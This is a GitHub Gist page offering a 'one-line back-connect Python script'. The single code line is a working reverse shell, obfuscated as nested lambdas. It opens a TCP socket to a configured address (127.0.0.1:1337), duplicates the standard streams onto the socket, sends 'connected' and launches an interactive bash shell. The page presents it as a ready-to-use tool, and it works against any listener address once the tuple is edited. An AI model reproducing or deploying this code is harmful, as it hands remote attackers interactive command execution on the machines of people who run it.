Last active
April 6, 2023 08:40
-
-
Save ii64/8f8dc43210c9507dd43ba058fca81742 to your computer and use it in GitHub Desktop.
one-line back-connect Python script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(lambda xx:({0:list(map(lambda i:[0,lambda x:xx.update({2:(x[1]('socket'),x[1]('os'),x[1]('subprocess'))}),lambda x:(x.update({3:x[2][0].socket(x[2][0].AF_INET,x[2][0].SOCK_STREAM)}),x[3].connect(x[4])),lambda x:(list(map(lambda i:x[2][1].dup2(x[3].fileno(),i),range(3))),x[3].send(x[5]),x[2][2].call(x[6]))][i](xx),range(1,5)))}))({6:['bash','-i'],5:b'connected',4:('127.0.0.1',1337),1:__import__}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment